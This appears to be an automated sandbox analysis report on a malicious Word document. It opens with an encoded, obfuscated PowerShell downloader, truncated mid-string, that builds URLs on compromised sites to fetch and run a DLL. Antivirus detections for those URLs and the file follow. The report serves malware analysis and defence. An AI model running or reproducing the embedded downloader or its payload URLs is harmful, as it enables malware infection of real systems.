IAAgAHMAZQBUAC0AVgBhAHIASQBhAGIAbABlACAAIAAoACcARwAnACsAJwBIAHAAJwApACAAIAAoAFsAdABZAFAAZQBdACgAIgB7ADMAfQB7ADIAfQB7ADUAfQB7ADQAfQB7ADYAfQB7ADEAfQB7ADAAfQAiAC0AZgAgACcAWQAnACwAJwBUAE8AUgAnACwAJwBZACcALAAnAFMAJwAsACcASQByACcALAAnAHMAdABlAG0ALgBJAG8ALgBkACcALAAnAEUAQwAnACkAIAAgACkAIAAgADsAIAAgACAAJABYAG8AMwA3AHQAIAAgAD0AIAAgAFsAVABZAHAARQBdACgAIgB7ADIAfQB7ADMAfQB7ADEAfQB7ADAAfQB7ADQAfQAiAC0AZgAnAE4AdABNAEEAbgBhAEcAZQAnACwAJwBtAC4AbgBFAHQALgBTAEUAUgBWAEkAQwBlAFAAbwBpACcALAAnAHMAWQBzAFQAJwAsACcAZQAnACwAJwBSACcAKQA7ACAAJABNAHAAZAB5AHIAXwAxAD0AJABOADUAXwBHACAAKwAgAFsAYwBoAGEAcgBdACgAMwAzACkAIAArACAAJABIADkAMgBLADsAJABHADgANQBWAD0AKAAnAFAAJwArACgAJwA1ACcAKwAnADcAQgAnACkAKQA7ACAAIAAoACAAIABpAFQAZQBNACAAKAAnAFYAQQAnACsAJwBSAGkAYQBiAEwAJwArACcAZQA6AEcASABQACcAKQApAC4AdgBBAGwAdQBlADoAOgAiAEMAUgBFAGAAQQB0AGAARQBEAGAAaQByAEUAQwB0AE8AcgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAwAH0ATwAzAHAAcAAxAGIAJwArACcANQB7ACcAKwAnADAAfQAnACsAKAAnAFkAOAA0AHYAaABkACcAKwAnAGgAJwApACsAJwB7ADAAfQAnACkAIAAgAC0ARgAgAFsAQwBIAGEAcgBdADkAMgApACkAOwAkAEMANAA2AFIAPQAoACcAQgA0ACcAKwAnADEASwAnACkAOwAgACgAIABkAGkAcgAgACAAdgBhAFIASQBhAEIAbABFADoAWABPADMANwB0ACAAIAApAC4AVgBhAGwAVQBlADoAOgAiAFMAZQBDAFUAcgBJAHQAYAB5AFAAcgBvAHQAbwBgAEMAYABvAEwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAxACcAKQArACcAMgAnACkAOwAkAEkANQAzAEgAPQAoACgAJwBDADEAJwArACcANQAnACkAKwAnAEUAJwApADsAJABQAGYAXwB3AHkAcwAzACAAPQAgACgAKAAnAEEAJwArACcANAAxACcAKQArACcATwAnACkAOwAkAEUANAAyAFQAPQAoACgAJwBEADcAJwArACcAMQAnACkAKwAnAEgAJwApADsAJABJADMAegAyAGMAcwByAD0AJABIAE8ATQBFACsAKAAoACgAJwBGAFoAbwBPACcAKwAnADMAJwArACcAcABwADEAJwApACsAKAAnAGIANQBGAFoAJwArACcAbwBZADgAJwArACcANAB2AGgAJwApACsAJwBkACcAKwAnAGgAJwArACgAJwBGAFoAJwArACcAbwAnACkAKQAuACIAcgBFAFAAYABMAGAAQQBDAEUAIgAoACgAJwBGACcAKwAnAFoAbwAnACkALABbAFMAVABSAGkAbgBHAF0AWwBjAGgAQQByAF0AOQAyACkAKQArACQAUABmAF8AdwB5AHMAMwArACcALgBkACcAIAArACAAJwBsAGwAJwA7ACQARQAwADQARQA9ACgAKAAnAFoAJwArACcAOQA5ACcAKQArACcAUQAnACkAOwAkAFMAOAA0AGgAOQBoAG4APQAnAGgAJwAgACsAIAAnAHQAdAAnACAAKwAgACcAcAAnADsAJABGAG8AdQBvADEAaAAxAD0AKAAoACcAeAAgACcAKwAnAFsAJwArACcAIABzAGgAIABiACcAKwAnADoALwAvAHUAJwApACsAKAAnAGEAZwAnACsAJwByACcAKQArACcAaQB0ACcAKwAnAGUAYwAnACsAJwBoACcAKwAoACcALgAnACsAJwBjAG8AJwApACsAKAAnAG0AJwArACcALwBjACcAKwAnAGcAaQAtAGIAJwApACsAJwBpACcAKwAoACcAbgAvACcAKwAnAGEANQBHACcAKwAnAC8AIQB4ACcAKQArACcAIABbACcAKwAoACcAIAAnACsAJwBzAGgAJwArACcAIAAnACsAJwBiADoALwAvACcAKwAnAHcAdwB3AC4AOQAxAHkAJwApACsAKAAnAHUAZABhACcAKwAnAG8AJwArACcALgBjAG8AJwApACsAKAAnAG0ALwB3AHAAJwArACcALQAnACsAJwBhAGQAJwApACsAKAAnAG0AaQBuAC8AJwArACcASwBLAEgAJwArACcAdAAnACkAKwAoACcAMQAvACEAeAAgAFsAJwArACcAIAAnACsAJwBzAGgAIABiACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwB5AG8AJwArACcAdQByAGMAJwApACsAKAAnAGwAZQBhAG4AZQByAHMAdQByACcAKwAnAGYAYQAnACsAJwBjAGUAJwArACcAcwAnACkAKwAoACcALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwBmAG8AJwArACcAdQByAC0AJwApACsAKAAnAG0AJwArACcAbwBuACcAKwAnAGsAcwAtAGEAYwBhAHMAegAvAE8AJwApACsAJwAyAG0AJwArACcAeQAnACsAKAAnAC8AIQB4ACAAJwArACcAWwAnACkAKwAnACAAcwAnACsAKAAnAGgAJwArACcAIABiADoAJwArACcAL

                      Signature Overview

                      Click to jump to signature section

                      Show All Signature Results

                      AV Detection:

                      barindex
                      Antivirus detection for URL or domainShow sources
                      Source: https://fifacoinsbox.com/wp-content/7gYt/Avira URL Cloud: Label: malware
                      Source: http://yourcleanersurfaces.com/four-monks-acasz/O2my/Avira URL Cloud: Label: malware
                      Source: http://www.91yudao.com/wp-admin/KKHt1/Avira URL Cloud: Label: malware
                      Source: http://seamart.info/alfacgiapi/q92A/Avira URL Cloud: Label: malware
                      Source: https://rbdck.com/wp-content/uploads/sucuri/lewfK/Avira URL Cloud: Label: malware
                      Source: http://uagritech.com/cgi-bin/a5G/Avira URL Cloud: Label: malware
                      Source: http://laymancoder.com/rustic-decor-1gbad/Us/Avira URL Cloud: Label: malware
                      Source: http://seamart.info/alfacgiapi/q92A/PAvira URL Cloud: Label: malware
                      Multi AV Scanner detection for domain / URLShow sources
                      Source: www.91yudao.comVirustotal: Detection: 7%Perma Link
                      Source: yourcleanersurfaces.comVirustotal: Detection: 9%Perma Link
                      Multi AV Scanner detection for submitted fileShow sources
                      Source: Mensaje-22-012021.docVirustotal: Detection: 61%Perma Link
                      Source: Mensaje-22-012021.docMetadefender: Detection: 32%Perma Link
                      Source: Mensaje-22-012021.docReversingLabs: Detection: 62%
                      Source: 24.2.rundll32.exe.10000000.0.unpackAvira: Label: TR/Spy.Gen

                      Compliance:

                      barindex
                      Uses new MSVCR DllsShow sources
                      Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
                      Binary contains paths to debug symbolsShow sources
                      Source: Binary string: C:\Windows\symbols\dll\System.pdbom source: powershell.exe, 00000005.00000002.2166153027.00000000028C7000.00000004.00000040.sdmp
                      Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2166153027.00000000028C7000.00000004.00000040.sdmp
                      Source: Binary string: ws\System.pdbpdbtem.pdb\d source: powershell.exe, 00000005.00000002.2166153027.00000000028C7000.00000004.00000040.sdmp
                      Source: Binary string: C:\Windows\dll\System.pdbge source: powershell.exe, 00000005.00000002.2166153027.00000000028C7000.00000004.00000040.sdmp
                      Source: Binary string: System.pdb source: powershell.exe, 00000005.00000002.2166153027.00000000028C7000.00000004.00000040.sdmp
                      Source: Binary string: System.pdb8 source: powershell.exe, 00000005.00000002.2166153027.00000000028C7000.00000004.00000040.sdmp
                      Source: Binary string: C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.pdbdb source: powershell.exe, 00000005.00000002.2166153027.00000000028C7000.00000004.00000040.sdmp
                      Source: Binary string: m.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2166153027.00000000028C7000.00000004.00000040.sdmp
                      Source: Binary string: mscorrc.pdb source: powershell.exe, 00000005.00000002.2156319928.0000000002030000.00000002.00000001.sdmp
                      Source: Binary string: <ystem.pdb source: powershell.exe, 00000005.00000002.2166153027.00000000028C7000.00000004.00000040.sdmp
                      Source: Binary string: C:\Windows\System.pdb source: powershell.exe, 00000005.00000002.2166153027.00000000028C7000.00000004.00000040.sdmp